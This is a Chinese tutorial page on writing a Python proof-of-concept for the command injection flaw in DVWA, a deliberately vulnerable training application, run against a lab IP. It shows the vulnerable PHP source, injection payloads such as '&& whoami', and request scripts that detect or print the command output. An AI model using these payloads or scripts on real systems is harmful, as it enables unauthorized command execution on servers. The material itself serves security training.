您当前的位置:首页 > 电脑百科 > 安全防护 > 黑客技术

「黑客编程」手把手教你编写POC

时间:2022-08-26 15:36:46  来源:  作者:至察助安

1 概述

1.1 什么是POC?

POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观点的一段代码。

1.2 实验环境

  • PyCharm
  • Python/ target=_blank class=infotextkey>Python 3.8.0
  • lxml 4.8.0
  • requests 2.27.1
  • mihun 1.0
  • DVWA 1.10

1.3 安装环境

pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0

2 分析漏洞

本次漏洞使用 DVWA(Damn Vulnerable Web App 是一个用来进行安全脆弱性鉴定的php/MySQL Web 应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。mihun渗透靶场 已经集成DVWA。

http://mihun-ip/

2.1 漏洞分析

user: admin
password: password
登入DVWA系统,将 DVWA Security 修改为low,本次使用 Command Injection(命令注入) 模块作为此次POC验证漏洞点

 

2.2 如何触发漏洞?

Command Injection(命令注入) 模块用于验证网络是否通畅,由于对输入的参数检查不严格导致任意命令执行

ping sechelper.cn && whoami

 

2.3 源码分析

Command Injection 模块源码

<?php


if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];


    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }


    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}


?>

分析上面源码发现ip参数未过滤被带入命令执行函数shell_exec,利用linux/win命令特性拼接参数 sechelper.cn&&whoami

伪代码如下:

shell_exec( 'ping  -c 4 ' . $target ) == shell_exec('ping  -c 4 sechelper.cn&&whoami' );

3 编写验证程序

使用PyCharm 创建一个python项目

 

3.1 分析http数据包

使用火狐浏览器按 F12 开启Firebug开发者模式,选择网络 重新触发漏洞观察http请求

 

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http请求包如下:

POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5Gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1


ip=192.168.17.5&Submit=Submit

 

3.2 构建初版代码

漏洞的信息已经知道的差不多,开始编写代码

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("状态: {}".format(response.status_code))
print("302跳转地址:{}".format(response.next.url))

 

执行上面代码返回状态 302,不应该是200 吗?为什么返回 302 ?,观察控制台内打印出的跳转地址是登入界面,原来/vulnerabilities/exec/ 有授权验证,未授权会跳转到登入界面

 

3.3 请求授权接口

怎么才能授权呢?

这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie 头

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit":    "Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("状态: {}".format(response.status_code))
print("结果:{}".format(response.text))

 

 

从结果内看出代码已经可以访问并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代码快速识别出漏洞是否存在呢?

3.4 快速验证漏洞两种方法

特征方式匹配返回结果里的特征检测漏洞是否存在,匹配到 自定义 的字符则表示漏洞存在

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)


if response.status_code == 200 and response.text.find("sechelper") != -1:
    print("[*] {} is weak".format(url))
else:
    print("[x] {} is safe".format(url))
print("Detection completed...")

 

 

关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式

# coding=utf-8


import requests


url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"}


# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)


if response.status_code == 200:
    from bs4 import BeautifulSoup
    soup = BeautifulSoup(response.text, 'lxml')


    # 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
    pre = soup.find("pre")
    print("[*] response {}".format(pre.text))
print("Detection completed...")

4 结束语

渗透过程中自己写脚本可以更方便快捷的做一些事情,渗透测试很难全程自动化,写一些小工具可以显著提高渗透效率,想要做一个合格白帽子会一门语言是很有必要的。关注至察助安微信公众号,专注网络安全优质知识分享,无优质,不分享。



Tags:POC   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
《开源精选》是我们分享GitHub、Gitee等开源社区中优质项目的栏目,包括技术、学习、实用与各种有趣的内容。本期推荐的PocketBase 是一个开源后端框架,可用来学习搭建自己喜欢...【详细内容】
2022-09-16  Tags: POC  点击:(288)  评论:(0)  加入收藏
1 概述1.1 什么是POC?POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观...【详细内容】
2022-08-26  Tags: POC  点击:(123)  评论:(0)  加入收藏
1 概述1.1 什么是POC?POC(全称: Proof of concept), 中文译作概念验证。在安全界可以理解成漏洞验证程序。和一些应用程序相比,PoC 是一段不完整的程序,仅仅是为了证明提出者的观...【详细内容】
2022-08-26  Tags: POC  点击:(55)  评论:(0)  加入收藏
本项目收集互联网各种危害性大的 RCE &middot; 任意文件上传 &middot; 反序列化 &middot; sql注入 等高危害且能够获取到服务器核心权限的漏洞POC/EXP,并集成在 POC bomber...【详细内容】
2022-08-07  Tags: POC  点击:(292)  评论:(0)  加入收藏
我们都知道,随着智能手机屏幕的越做越大,除了能带来更加沉浸的使用体验的同时,也为广大用户进行多任务处理提供了更大的操作空间。不过在使用时也带来了不少问题,比如在你游戏时...【详细内容】
2020-09-04  Tags: POC  点击:(198)  评论:(0)  加入收藏
▌简易百科推荐
一、实验项目名称Windows网络服务渗透测试实战-跨网段攻击二、实验目的及要求掌握对跨网段攻击的方法。熟悉Metasploit终端的使用方法。熟悉通过meterpreter进行后渗透操作...【详细内容】
2022-11-01  懒笑翻  CSDN  Tags:跨网段   点击:(6)  评论:(0)  加入收藏
一个名为EvilProxy的反向代理网络钓鱼即服务(PaaS)平台近日兴风作浪,承诺可以窃取身份验证令牌,从而绕过苹果、谷歌、Facebook、微软、Twitter、GitHub、GoDaddy甚至PyPI上的多...【详细内容】
2022-10-27  嘶吼RoarTalk     Tags:EvilProxy   点击:(11)  评论:(0)  加入收藏
大家好,这期电脑小课堂教大家一个非常实用的小命令,网络监听命令。或许大家对这个命令不是很了解,这个命令有什么作用?这个命令其实,就是来查看你的电脑有没有中后台木马,如果中了...【详细内容】
2022-10-26  CG电脑说  今日头条  Tags:木马   点击:(21)  评论:(0)  加入收藏
区块链的去中心化性质和加密算法使其几乎不可能受到攻击。然而,以太经典(Ethereum Classic)区块链沦为了51%攻击(51% attack)的受害者,估计因此损失110万美元。那么,51%攻击是...【详细内容】
2022-10-21  淼一回收    Tags:51%   点击:(2)  评论:(0)  加入收藏
渗透测试是门技术,也是一门艺术。参考书籍《欺骗的艺术》《入侵的艺术》《社会工程学攻击1》《社会工程学攻击2》这门技术(艺术)一开始也不是每个人都会的,正所谓没有人一出生就...【详细内容】
2022-10-18  黑客花无涯  今日头条  Tags:渗透测试   点击:(4)  评论:(0)  加入收藏
1、 什么是CSRF:CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像...【详细内容】
2022-10-14  网盾网络安全培训  今日头条  Tags:CSRF   点击:(16)  评论:(0)  加入收藏
前言在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章。本文包含以下内容: 1. Nmap抓包分析 2. 内网下绕过Windows防火墙扫描存活主机这里主...【详细内容】
2022-10-14  iHacking  今日头条  Tags:Nmap抓包   点击:(18)  评论:(0)  加入收藏
2010年,一段伊拉克战争的视频在全世界互联网上流传,视频内容是美国陆军航空部队在伊拉克的屠杀。 该事件发生于2007年夏天,美国陆军航空兵两架“阿帕奇”在巴格达“剿匪”,他们...【详细内容】
2022-10-11  WarOH协虎   网易号  Tags:阿桑奇   点击:(17)  评论:(0)  加入收藏
华舆讯 据中非新闻社报道(2021-01-28) 超过400万个IP地址被非法使用,这被称为非洲最大的互联网盗窃案。这起盗窃案早在2016年就引起了人们的警觉,现在已经完全暴露了其规模,揭露...【详细内容】
2022-09-28  成长点滴  今日头条  Tags:网络隐身   点击:(44)  评论:(0)  加入收藏
前言:在网络取证领域,网络攻击溯源一直是一个重要的追踪方式。近年来,网络安全事件层出不穷,各种网络攻击给国家、社会和个人带来了严重的危害,如分布式拒绝服务攻击(DDoS)、基于...【详细内容】
2022-09-28  埃文科技  网易号  Tags:真实IP   点击:(26)  评论:(0)  加入收藏
站内最新
站内热门
站内头条